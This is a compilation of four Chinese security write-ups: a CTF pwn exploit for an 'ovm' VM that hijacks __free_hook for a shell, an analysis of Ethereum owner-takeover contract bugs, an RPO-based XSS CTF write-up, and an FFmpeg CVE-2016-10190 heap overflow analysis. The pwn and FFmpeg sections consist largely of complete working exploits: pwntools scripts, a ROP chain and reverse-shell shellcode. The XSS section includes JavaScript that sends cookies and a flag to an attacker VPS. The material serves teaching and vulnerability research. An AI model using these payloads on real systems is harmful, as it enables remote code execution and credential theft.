首先想到的是 得到libc 然后任意写，有个很巧妙的办法
就是 将最后
comment[0] 指针 覆盖为 一个地方 这样 我们 reg 寄存器中存在值在 退出打印的时候可以的得到libc
然后最后的 read 又能 覆盖comment[0] 这个地址保存值
从而 得到shell
有个方法就是
我们可以修改 comment[0] 指针指向 `free_hook -0x8` 从而可以先 写入 `/bin/sh\x00 + p64(system)`
这样最后free(comment[0]) 的时候就能 执行 system("/bin/sh\x00")
**修改前**
**修改后**
修改 free_hook
布置 “/bin/sh\x00”参数
from pwn import *
context.log_level = 'debug'
exe = './ovm'
elf = ELF(exe)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def d(s=''):
gdb.attach(p, s)
def pwn():
read_offset = libc.sym['read']
system_offset = libc.sym['system']
__free_hook_offset = libc.sym['__free_hook']
offset_free_hook_2_read = __free_hook_offset - read_offset
offset_system_2_read = system_offset - read_offset
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
code = [
0x100d0001, # reg[13] = 1
0x10010008, # reg[0] = 8
0xc00d0d01, # reg[13] = 1<<8 => 0x100
0xc00d0d01, # reg[13] = 0x100<<8 => 0x10000
0x1001003e, # reg[1] = 0x3e
0x700d0d01, # reg[13] = reg[13] + reg[1] = 0x1003e
0x10010000, # reg[1] = 0
0x800D010D, # reg[13] = reg[1] - reg[13] = 0 - 0x1003e = 0xffc2 ----> -0x3e
# stack[-0x3e] = read_got+0x8
0x60030000, # reg[3] = read_got_high_int
0x60040000, # reg[4] = read_got_low_int
0x10020008, # reg[2] = 8
0x10050000+((offset_free_hook_2_read>>16)), # reg[5] = offset_system_2_read_high
0x10060000+(0x10000-(offset_free_hook_2_read>>8)%100-2),
0xc0050502, # reg[5] = reg[5] << 8
0x70050506, # reg[5] = reg[5] + reg[6]
0x10060000+((offset_free_hook_2_read)%0x100-0x8),
0xc0050502, # reg[5] = reg[5] << 8
0x70050506, # reg[5] = reg[5] + reg[6]
0x70040405, # reg[4] = reg[4] + offset -----> free_hook-8
0x80020002, # reg[2] = -8
0x40040002, # memory[-8] = __free_hook - 8 _low
0x10020007,
0x80020002,
0x40030002, # memory[-9] = _free_hook - 8 _high
0xff000000
]
p.sendlineafter("PCPC: ", '0')
p.sendlineafter("SP: ", '0')
p.sendlineafter("CODE SIZE: ", str(len(code)))
# d()
for i in code:
sleep(0.1)
p.sendline(str(i))
# d()
success("read_offset-->"+hex(read_offset))
success("offset_free_hook_2_read-->"+hex(offset_free_hook_2_read))
p.recvuntil("R3: ")
free_hook = int(p.recv(4),16)<<32
p.recvuntil("R4: ")
free_hook += int(p.recv(8),16)+8
success("free_hook-->"+hex(free_hook))
libc_base = free_hook - __free_hook_offset
system = libc.sym['system'] + libc_base
success("system-->"+hex(system))
p.sendlineafter("HOW DO YOU FEEL AT OVM?",'/bin/sh\x00'+p64(system))
p.interactive()
if __name__ == '__main__':
p = process(exe)
pwn()
'''one
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
''' | 社区文章 |
### 一、构造函数引发问题
我们知道在大多数太坊合约均需要一个Owner来控制合约的正常运行，无论是涉及token的转账还是用于控制某些函数的启动。而许多合约中Owner的权限是非常大的，如果Owner的安全性得不到保障，那么作恶人员能够很轻易拿到合约的最高权限并轻易作恶，其带来的后果是非常严重的。
第一个问题也是最简单却是危害性最大的。
经常写合约代码的读者应该知道，早起的合约构造函数是使用合约名。例如：
contract Owned {
address public owner;
function Owned() {
owner = msg.sender;
}
}
当合约部署完毕后其构造函数自动执行，并赋值owner新的地址。而以太坊solidity在0.4.22后引入了新的构造函数声明形式constructor()，该函数引入的目的是避免编程人员在编写构造函数时的命名错误（这个问题我在前文也提到过，确实很伤-------）。然而，由于用户编写函数时习惯性的使用function进行声明，从而导致构造函数constructor的使用引入新的漏洞。
正确的构造函数形式：constructor() public { }
错误的构造函数形式：function constructor() public { }
在Solidity0.4.22版本后，合约的constructor()函数才被视为构造函数的形式，并且直到下一版本才会对function
constructor()的形式给出警告（注意：这里仅仅是警告，不是错误）。如果是使用Solidity0.4.23之前的版本，编译器把function
constructor()作为普通函数进行编译，认为是正确的普通函数。
下面我们来看一个例子：
在该例子中，编译器并没有因函数名不对而报错，反而一切正常。然而当我们仔细观察函数时我们就能发现上述的问题——即我们的构造函数多写了一个`function`。而这也会导致该函数无法起到构造函数的作用从而变成一个普通函数。
下面我们做一个简单的测试：
首先我们在本地部署合约：
当合约完成后调用Owner发现该owenr的address为0x000000。所以该函数根本没有起到作用。
而随着Solidity版本的更新，该问题也逐渐得到了解决，当我们使用最新版本的Solidity时，我们能发现：
此处使用的最新版本，它不通过编译。所以当现在合约编写者再编写合约的时候，应该多多考虑使用新版本，能够避免很多灾难性的失误。
1.新的constructor使用方法为，前面无function声明：
2.Remix-ide等编译器会对constructor的错误使用产生警告，开发者千万不要忽略编译器告警，推荐更改源码，消除所有编译器警告。
### 二、CVE-2018-11329
首先该漏洞展示的就是这个被人攻击的放置类游戏的智能合约，游戏名为Ether
Cartel。与要求玩家孵化并且售卖虾子、之后提高产量再交易虾卵以换取以太币的的Ether Shrimp Farm应用类似，Ether
Cartel也是相同的思路，只不过场景换成了某种非法物品交易。你所拥有的量越多，你生产的物品越多（一比一的生产比率）。收集更多的物品就可以加倍生产速度”。
在图中我们能够看出该合约误写了一个普通函数用于改变ceoAddress变量，而这个危害是非常大的。
当我更好账户的时候，我们可以任意调用`DrugDealer()`函数，并改变合约的owenr地址。
该漏洞为受ceoAnyone漏洞影响的放置游戏智能合约。Ether
Cartel在UTC时间2018年5月18日17点14分56秒部署到主网，不幸的是一小时十一分钟之后即被攻破。存在漏洞的代码在18到20行：可被人以调用方调用的DrugDealer()函数，允许调用者修改收益地址——ceoAddress。
而后拿到了权限后，攻击者能够更进一步的调用其余函数，例如：
即当调用SellDrugs函数时会将fee转入ceoAddress账户，所以当该账户被恶意篡改后，该转账金额就会被窃取。同样下面的函数类似。
### 三、CVE-2018-10705
本章介绍`CVE-2018-10705`。该CVE同样是由于Owner没有进行严格把关从而产生的漏洞。审计该代码后发现，该合约中存在任意setowner函数，使得合约任意用户可以随意改变合约的owenr，并达到作恶的目的。
/**
*Submitted for verification at Etherscan.io on 2018-01-17
*/
pragma solidity ^0.4.19;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract SafeMath {
function safeMul(uint256 a, uint256 b) returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function safeSub(uint256 a, uint256 b) returns (uint256) {
require(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) returns (uint256) {
uint c = a + b;
require(c >= a && c >= b);
return c;
}
}
contract Owned {
address public owner;
function Owned() {
owner = msg.sender;
}
function setOwner(address _owner) returns (bool success) {
owner = _owner;
return true;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract AURA is SafeMath, Owned {
bool public locked = true;
string public name = "Aurora DAO";
string public symbol = "AURA";
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function AURA() public {
totalSupply = 1000000000000000000000000000;
balanceOf[msg.sender] = totalSupply;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
require(!locked || msg.sender == owner);
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
require(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
require(!locked);
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function unlockToken() onlyOwner {
locked = false;
}
bool public balancesUploaded = false;
function uploadBalances(address[] recipients, uint256[] balances) onlyOwner {
require(!balancesUploaded);
uint256 sum = 0;
for (uint256 i = 0; i < recipients.length; i++) {
balanceOf[recipients[i]] = safeAdd(balanceOf[recipients[i]], balances[i]);
sum = safeAdd(sum, balances[i]);
}
balanceOf[owner] = safeSub(balanceOf[owner], sum);
}
function lockBalances() onlyOwner {
balancesUploaded = true;
}
}
首先，合约使用了安全函数，防止溢出（这一点也是值得我们注意的）。拿到Owned合约后，其构造函数首先初始化了owner。而后`AURA`合约继承了`Owned`合约。而该合约很明显与token有关系，里面存在许多ERC的函数：`transfer、transferFrom、approve、approveAndCall`。
function _transfer(address _from, address _to, uint _value) internal {
require(!locked || msg.sender == owner);
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
require(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
而转账函数中出现了由owner控制的`locked`变量。该变量能控制函数是否进行。而该变量只能由下面的函数控制：
function unlockToken() onlyOwner {
locked = false;
}
而我们回到父类合约中：
contract Owned {
address public owner;
function Owned() {
owner = msg.sender;
}
function setOwner(address _owner) returns (bool success) {
owner = _owner;
return true;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
该合约却定义了一个修改owner的函数，即所有用户均可以修改owner？？？
这下麻烦事情来了。
首先部署合约。此时合约的owenr为：
切换用户后，我们执行`unlockToken()`。
由于我们不是合约的owner，所以该函数无法执行成功。
之后我们调用setowner。
由于修改了owenr的信息，所以`onlyOwner`让我们绕过，我们可以恶意增加自己的余额。
除此之外，我们还能将调用
function lockBalances() onlyOwner {
balancesUploaded = true;
}
来进行对函数的限制。
具体函数见：<https://etherscan.io/address/0xcdcfc0f66c522fd086a1b725ea3c0eeb9f9e8814#contracts>
### 四、参考
* <https://etherscan.io/address/0xcdcfc0f66c522fd086a1b725ea3c0eeb9f9e8814#contracts>
* [https://mp.weixin.qq.com/s?__biz=MzU2NzUxMTM0Nw==&mid=2247484096&idx=1&sn=d7f228bf24af9e66a6db6129b9e49aeb&scene=DrugDealer1#wechat_redirect](https://mp.weixin.qq.com/s?__biz=MzU2NzUxMTM0Nw==&mid=2247484096&idx=1&sn=d7f228bf24af9e66a6db6129b9e49aeb&scene=DrugDealer1#wechat_redirect)
* <https://blog.peckshield.com/2018/05/03/ownerAnyone/>
* <https://blog.peckshield.com/2018/05/21/ceoAnyone/> | 社区文章 |
本文由[D0g3安全小组](http://139.199.185.89/)，@Ph0rse编写。
### 简介
通过这次强网杯，见识到了RPO这种漏洞，也是在畅师傅的指导下，学习了一波，写篇文章记录一下~
PRO的全称为“Relative Path
Overwrite”，也就是相对路径覆盖。利用浏览器和服务器对资源加载设置的差异，通过某些方法和技巧，在相对路径处，引入我们可控的js/css文件，甚至引入非js/css文件，并按照js/css的语法执行，从而实现攻击。
### Fuck the “Share your mind”
这是18-03-24强网杯的一道题，也是从这里开始接触RPO这个漏洞，以下简单介绍一下这道题的做法:
首先就是一个登录界面
简单测试后可以发现并没有SQL注入或者XSS漏洞，之后注册一个账号，登录进去。测试各个页面，还是没有发现SQL注入
在做比赛的小伙伴可能会对以下这个页面很熟悉：
没错，就是这个“脸上”写着“这里有FLAG”的页面，而且如果在Reports框里输入`http://39.107.33.96:20000/<script
src=http://VPSIP ></script>`，它真的会访问我们自己的VPS，结合第一个提示：
再联想到i春秋的一篇[文章](https://bbs.ichunqiu.com/thread-24786-1-1.html?from=bkyl)
通过反调PhantomJS XSS bot 把XSS漏洞升级为SSRF/LFR
惊不惊喜？意不意外？是不是感觉从此拿到FLAG，出任CEO，迎娶白富美，从此走上人生巅峰了？
呵~想！多！了！
不知道为什么，VPS上的js代码就是没办法执行
之后才了解到，真正的漏洞点在这里：
。。。
也就是我们今天要介绍的主角，RPO导致的XSS漏洞了……
### phpinfo url 模式
在看漏洞流程之前，我们先介绍一个知识点，就是按照目录方式获取资源，以及phpinfo URL模式。
`http://39.107.33.96:20000/index.php/view/article/763`
难道有一个目录交index.php吗？不是的，它使用了url rewrite的php开发框架，也叫PHPINFO URL模式
等价于
`http://39.107.33.96:20000/index.php?mod=view&article=763`
在这道题里，返回的，就是我们输入的文章内容，当标题为空时，只返回内容的纯文本，不包含html代码。
### 漏洞成因
文章最开始提到过，RPO漏洞就是“相对路径覆盖”，而这道题的漏洞产生，也是因为相对路径
我们来分析一下上面导致漏洞的payload
`http://39.107.33.96:20000/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php`
对于php而言，它获得的请求是url解码后的，%2F会被解码为/，apache和nginx会按照目录的方式来返回我们请求的资源。
对于payload，也就相当于访问
`http://39.107.33.96:20000/index.php/view/article/36967/../../../../index.php`
向上跳了三层，依旧返回index.php页面的内容
但是！服务端和客户端之间产生了沟通差异，浏览器在寻找js资源的时候，并没有对%2f进行解码，就认为
`..%2f..%2f..%2f..%2findex.php`这一坨是一段数据，但是又没有人来接收这段数据，相当于报废。
就好比输入url-`https://www.baidu.com?id=1`，向百度传递了一个参数id，但它后端没有接收的代码，相当于没有传递，返回的资源仍然是`https://www.baidu.com`的。而`http://39.107.33.96:20000/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php`相当于在文章ID为36967的文章页面传了一个叫`..%2f..%2f..%2f..%2findex.php`的参数，没有人接收，所以返回的资源就只是`http://39.107.33.96:20000/index.php/view/article/36967/`的。
浏览器错误理解url后，请求相对路径中请求的资源路径，就变成了`http://39.107.33.96:20000/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php/static/js/jquery.min.js`
当我们向服务器提交这个请求的时候，服务器会按照phpinfo模式来读取这个url，
读到`..%2f..%2f..%2f..%2findex.php`这里就读不下去了，识别不了，退一步，把前面能识别的内容返回回来，也就是`http://39.107.33.96:20000/index.php/view/article/36967/`
我们看网络里的请求，也可以看到浏览器按照phpinfo的格式来解析url的话，只会访问到能识别的地方
这里要注意，xxxdir只是为了表示这是一个没有用的dir，换成aaadir效果也是一样的，同理把`..%2f..%2f..%2f..%2findex.php`当做dir也是一样的。
把`http://39.107.33.96:20000/index.php/view/article/36967/`的页面内容，也就是`alert(1)`当做是js文件的内容，带回到了`<script>`标签中，也就因此，造成了XSS漏洞
漏洞完成过程
首先填写一个只有内容，没有标题的Ideas
如果标题不为空
那请求的结果将含有HTML代码，如果这个时候再把返回的数据当做是JavaScript代码解析，就会发生异常。
之后我们就可以伪造请求，比如`(new Image()).src = 'http://VPSIP:Port?'+document.cookie`
由于漏洞点过滤了引号，所以可以用fromCharCode进行绕过处理
(new Image()).src =
String.fromCharCode(104,116,116,112,58,47,47,53,52,46,50,51,53,46,50,51,52,46,54,56,58,50,51,51,47)+document.cookie;
写这篇文章的时候，后台的自动点击脚本貌似没在运行了，只能我自己触发一下xss，弹个自己的PHPSESSION回来。比赛过程中会有个提示，让你去打二级目录`/QWB_fl4g/QWB/`
然后使用iframe标签去读二级目录下的cookie
iframe
var iframe = document.createElement(String.fromCharCode(105,102,114,97,109,101));
iframe.src = String.fromCharCode(47,81,87,66,95,102,108,52,103,47,81,87,66,47);
iframe.id = String.fromCharCode(102,114,97,109,101);
document.body.appendChild(iframe);
iframe.onload = function (){
var c = document.getElementById(String.fromCharCode(102,114,97,109,101)).contentWindow.document.cookie;
var n0t = document.createElement(String.fromCharCode(108,105,110,107));
n0t.setAttribute(String.fromCharCode(114,101,108), String.fromCharCode(112,114,101,102,101,116,99,104));
n0t.setAttribute(String.fromCharCode(104,114,101,102), String.fromCharCode(47,47,53,52,46,50,51,53,46,50,51,52,46,54,56,58,50,51,51,47,63,102,108,97,103,61) + c);
document.head.appendChild(n0t);
}
VPS处就可以监听到返回的flag~
### 总结
用畅师傅说的一句话总结RPO的核心原理，“RPO漏洞，就是服务端和客户端对这个URL的解析不一致导致的”，其实仔细想一想，任何漏洞不都是这个道理嘛，宽字节，00截断，都是利用不同功能板块之间解析规则的差异，造成语义上的混淆，从而导致了漏洞。
### 小练习
俗话说的好“Talk is cheap, show me the Code”，如果对这RPO还是有疑惑的话，可以用以下的代码片段自己动手测试一下。
测试代码扒自p00mj师傅的[文章](https://www.cnblogs.com/p00mj/p/6755000.html)
php代码
<?php $path='http://localhost/hello/'?>
<a class="navbar-brand" href="<?php echo $path?>url.php">三国杀</a>
<li class="active" id='wei'><a href="<?php echo $path?>url.php/country/wei">魏</a></li>
<li id ='shu'><a href="<?php echo $path?>url.php/country/shu">蜀</a></li>
<li class="active" id='wu'><a href="<?php echo $path?>url.php/country/wu">吴</a></li>
<link rel="stylesheet" href="./style.css" style="css" />
<?php
$arr=isset($_SERVER['PATH_INFO'])?explode('/',trim($_SERVER['PATH_INFO'],'/')):null;
//var_dump($arr);
//echo $arr
$value='';
for($_=0;$_<count($arr);$_+=2)
{
$value[$arr[$_]] = $arr[$_+1];
}
$value['country']=isset($value['country'])?$value['country']:null;
switch ($value['country']) {
case 'wei':
?>
<h1>welcome to 魏国!</h1>
<?php
break;
case 'shu':
?>
<h1>welcome to 蜀国!</h1>
<?php
break;
case 'wu':
?>
<h1>welcome to 吴国!</h1>
<?php
break;
default:
?>
<h1>welcome!</h1>
<?php
break;
}
?>
style.css文件
h1 {
font-size:180px;
color:blue;
}
在绿盟的这篇[文章](http://blog.nsfocus.net/rpo-attack/)中提到说Apache无法解析这种URL，会返回404。其实是默认配置的问题，可以来看[这篇文章](http://www.ideawu.net/blog/archives/494.html)
Pwnhub在之前也出过一道题，[大物必须过](http://www.qingpingshan.com/pc/aq/240597.html)，这位师傅的做题思路很赞，就是没找到师傅的ID……还想着观摩一下博客什么的……
在Github上也有一个CTF题目的源码，利用RPO，进行XSS+CSRF攻击。
<https://github.com/eboda/34c3ctf/tree/master/urlstorage>
以上
### 参考链接
<https://www.cnblogs.com/p00mj/p/6755000.html>
<http://blog.nsfocus.net/rpo-attack/>
<http://www.qingpingshan.com/pc/aq/240597.html> | 社区文章 |
作者：[bird@tsrc](https://security.tencent.com/index.php/blog/msg/116)
## 1\. 前言
FFmpeg是一个著名的处理音视频的开源项目，使用者众多。2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。本文详细分析了CVE-2016-10190，是二进制安全入门学习堆溢出一个不错的案例。
调试环境：
1. FFmpeg版本：3.2.1按照<https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu>编译
2. 操作系统：Ubuntu 16.04 x64
## 2\. 漏洞分析
此漏洞是发生在处理`HTTP`流时，读取`HTTP`流的过程大概如下：
1. `avformat_open_input`函数初始化输入文件的主要信息，其中与漏洞有关的是创建`AVIOContext`结构体
2. 如果输入文件是`HTTP`流则调用`http_open`函数发起请求
3. 调用`http_read_header`函数解析响应数据的头信息
4. 解析完后调用`avio_read`->`io_read_packet`->`http_read`->`http_read_stream`函数读取之后的数据
首先看下`http_read_stream`函数
static int http_read_stream(URLContext *h, uint8_t *buf, int size)
{
HTTPContext *s = h->priv_data;
int err, new_location, read_ret;
int64_t seek_ret;
...
if (s->chunksize >= 0) {
if (!s->chunksize) {
char line[32];
do {
if ((err = http_get_line(s, line, sizeof(line))) < 0)
return err;
} while (!*line); /* skip CR LF from last chunk */
s->chunksize = strtoll(line, NULL, 16);
av_log(NULL, AV_LOG_TRACE, "Chunked encoding data size: %"PRId64"'\n",
s->chunksize);
if (!s->chunksize)
return 0;
}
size = FFMIN(size, s->chunksize);
}
...
read_ret = http_buf_read(h, buf, size);
...
return read_ret;
}
上面`s->chunksize = strtoll(line, NULL,
16)`这一行代码是读取chunk的大小，这里调用`strtoll`函数返回一个有符号数，再看`HTTPContext`结构体
typedef struct HTTPContext {
const AVClass *class;
URLContext *hd;
unsigned char buffer[BUFFER_SIZE], *buf_ptr, *buf_end;
int line_count;
int http_code;
/* Used if "Transfer-Encoding: chunked" otherwise -1. */
int64_t chunksize;
...
} HTTPContext;
可以看到`chunksize`为`int64_t`类型也是有符号数，当执行`size = FFMIN(size,
s->chunksize)`这行代码时，由于传进来的`size=0x8000`，如果之前的`strtoll`函数返回一个负数，这样就会导致`size =
s->chunksize`也为一个负数，之后执行到`read_ret = http_buf_read(h, buf,
size)`，看下`http_buf_read`函数
static int http_buf_read(URLContext *h, uint8_t *buf, int size)
{
HTTPContext *s = h->priv_data;
int len;
/* read bytes from input buffer first */
len = s->buf_end - s->buf_ptr;
if (len > 0) {
if (len > size)
len = size;
memcpy(buf, s->buf_ptr, len);
s->buf_ptr += len;
} else {
int64_t target_end = s->end_off ? s->end_off : s->filesize;
if ((!s->willclose || s->chunksize < 0) &&
target_end >= 0 && s->off >= target_end)
return AVERROR_EOF;
len = ffurl_read(s->hd, buf, size);
...
}
...
return len;
}
上面代码`else`分支执行到`len = ffurl_read(s->hd, buf,
size)`，而`ffurl_read`中又会调用`tcp_read`函数(函数指针的方式)来读取之后真正的数据，最后看`tcp_read`函数
static int tcp_read(URLContext *h, uint8_t *buf, int size)
{
TCPContext *s = h->priv_data;
int ret;
if (!(h->flags & AVIO_FLAG_NONBLOCK)) {
ret = ff_network_wait_fd_timeout(s->fd, 0, h->rw_timeout, &h->interrupt_callback);
if (ret)
return ret;
}
ret = recv(s->fd, buf, size, 0);
return ret < 0 ? ff_neterrno() : ret;
}
当执行到`ret = recv(s->fd, buf, size,
0)`时，如果`size`为负数，`recv`函数会把`size`转换成无符号数变成一个很大的正数，而`buf`指向的又是堆上的空间，这样就可能导致堆溢出，如果溢出覆盖一个函数指针就可能导致远程代码执行。
## 3\. 漏洞利用
在`http_read_stream`函数里想要执行`s->chunksize = strtoll(line, NULL,
16)`需要`s->chunksize >=
0`，看下发送请求后`http_read_header`函数中解析响应数据里每个请求头的函数`process_line`
static int process_line(URLContext *h, char *line, int line_count,
int *new_location)
{
HTTPContext *s = h->priv_data;
const char *auto_method = h->flags & AVIO_FLAG_READ ? "POST" : "GET";
char *tag, *p, *end, *method, *resource, *version;
int ret;
/* end of header */
if (line[0] == '\0') {
s->end_header = 1;
return 0;
}
p = line;
if (line_count == 0) {
...
} else {
while (*p != '\0' && *p != ':')
p++;
if (*p != ':')
return 1;
*p = '\0';
tag = line;
p++;
while (av_isspace(*p))
p++;
if (!av_strcasecmp(tag, "Location")) {
if ((ret = parse_location(s, p)) < 0)
return ret;
*new_location = 1;
} else if (!av_strcasecmp(tag, "Content-Length") && s->filesize == -1) {
s->filesize = strtoll(p, NULL, 10);
} else if (!av_strcasecmp(tag, "Content-Range")) {
parse_content_range(h, p);
} else if (!av_strcasecmp(tag, "Accept-Ranges") &&
!strncmp(p, "bytes", 5) &&
s->seekable == -1) {
h->is_streamed = 0;
} else if (!av_strcasecmp(tag, "Transfer-Encoding") &&
!av_strncasecmp(p, "chunked", 7)) {
s->filesize = -1;
s->chunksize = 0;
}
...
}
return 1;
}
可以看到当请求头中包含`Transfer-Encoding:
chunked`时会把`s->filesize`赋值`-1`、`s->chunksize`赋值`0`。
下面看下漏洞利用的整个调试过程，先发送包含`Transfer-Encoding:
chunked`的请求头，然后`avio_read`函数中会循环调用`s->read_packet`指向的函数指针`io_read_packet`读取请求头之后的数据
同时看下`AVIOContext`结构体参数
之后来到`http_read_stream`函数
可以看到`s->chunksize == 0`，这时服务器发送chunk的大小为`-1`，然后就会执行`s->chunksize =
strtoll(line, NULL, 16)`把`s->chunksize`赋值为`-1`，并在执行`size = FFMIN(size,
s->chunksize)`后把`size`赋值为`-1`，之后来到`http_buf_read`函数
这里`len == 0`会转而执行`else`分支，又由于`s->end_off == 0 && s->filesize ==
-1`，这样就会执行到`len = ffurl_read(s->hd, buf,
size)`，`ffurl_read`中会调用`tcp_read`函数执行到`ret = recv(s->fd, buf, size, 0)`
可以看到`buf`的地址是`0x229fd20`，而之前的`AVIOContext`的地址为`0x22a7d80`，因此buf在读入`0x22a7d80 -0x229fd20 = 0x8060`字节后就可以溢出到`AVIOContext`结构体，这里溢出覆盖它的`read_packet`函数指针
这样在`avio_read`函数中循环进行下一次读取的时候就控制了PC
最后利用成功反弹shell的演示
## 4\. 完整EXP
根据<https://gist.github.com/PaulCher/324690b88db8c4cf844e056289d4a1d6>修改
#!/usr/bin/python
import os
import sys
import socket
from time import sleep
from pwn import *
bind_ip = '0.0.0.0'
bind_port = 12345
headers = """HTTP/1.1 200 OK
Server: HTTPd/0.9
Date: Sun, 10 Apr 2005 20:26:47 GMT
Content-Type: text/html
Transfer-Encoding: chunked
"""
elf = ELF('/home/bird/ffmpeg_sources/FFmpeg-n3.2.1/ffmpeg')
shellcode_location = 0x1b28000 # require writeable -> data or bss segment...
page_size = 0x1000
rwx_mode = 7
gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64')))
pop_rdi = gadget('pop rdi; ret')
log.info("pop_rdi:%#x" % pop_rdi)
pop_rsi = gadget('pop rsi; ret')
log.info("pop_rsi:%#x" % pop_rsi)
pop_rax = gadget('pop rax; ret')
log.info("pop_rax:%#x" % pop_rax)
pop_rcx = gadget('pop rcx; ret')
log.info("pop_rcx:%#x" % pop_rcx)
pop_rdx = gadget('pop rdx; ret')
log.info("pop_rdx:%#x" % pop_rdx)
pop_rbp = gadget('pop rbp; ret')
log.info("pop_rbp:%#x" % pop_rbp)
push_rbx = gadget('push rbx; jmp rdi')
log.info("push_rbx:%#x" % push_rbx)
pop_rsp = gadget('pop rsp; ret')
log.info("pop_rsp:%#x" % pop_rsp)
add_rsp = gadget('add rsp, 0x58')
mov_gadget = gadget('mov qword ptr [rcx], rax ; ret')
log.info("mov_gadget:%#x" % mov_gadget)
mprotect_func = elf.plt['mprotect']
log.info("mprotect_func:%#x" % mprotect_func)
read_func = elf.plt['read']
log.info("read_func:%#x" % read_func)
def handle_request(client_socket):
request = client_socket.recv(2048)
print request
payload = ''
payload += 'C' * (0x8060)
payload += p64(0x004a9929) # rop starts here -> add rsp, 0x58 ; ret
payload += 'CCCCCCCC' * 4
payload += p64(0x0040b839) # rdi -> pop rsp ; ret
payload += p64(0x015e1df5) # call *%rax -> push rbx ; jmp rdi
payload += 'BBBBBBBB' * 3
payload += 'AAAA'
payload += p32(0)
payload += 'AAAAAAAA'
payload += p64(0x004a9929) # second add_esp rop to jump to uncorrupted chunk -> add rsp, 0x58 ; ret
payload += 'XXXXXXXX' * 11
# real rop payload starts here
#
# using mprotect to create executable area
payload += p64(pop_rdi)
payload += p64(shellcode_location)
payload += p64(pop_rsi)
payload += p64(page_size)
payload += p64(pop_rdx)
payload += p64(rwx_mode)
payload += p64(mprotect_func)
# backconnect shellcode x86_64: 127.0.0.1:31337
shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";
shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode
shellslices = map(''.join, zip(*[iter(shellcode)]*8))
write_location = shellcode_location - 8
for shellslice in shellslices:
payload += p64(pop_rax)
payload += shellslice
payload += p64(pop_rcx)
payload += p64(write_location)
payload += p64(mov_gadget)
write_location += 8
payload += p64(pop_rbp)
payload += p64(4)
payload += p64(shellcode_location)
client_socket.send(headers)
client_socket.send('-1\n')
sleep(5)
client_socket.send(payload)
client_socket.close()
if __name__ == '__main__':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((bind_ip, bind_port))
s.listen(5)
filename = os.path.basename(__file__)
st = os.stat(filename)
while True:
client_socket, addr = s.accept()
handle_request(client_socket)
if os.stat(filename) != st:
print 'restarted'
sys.exit(0)
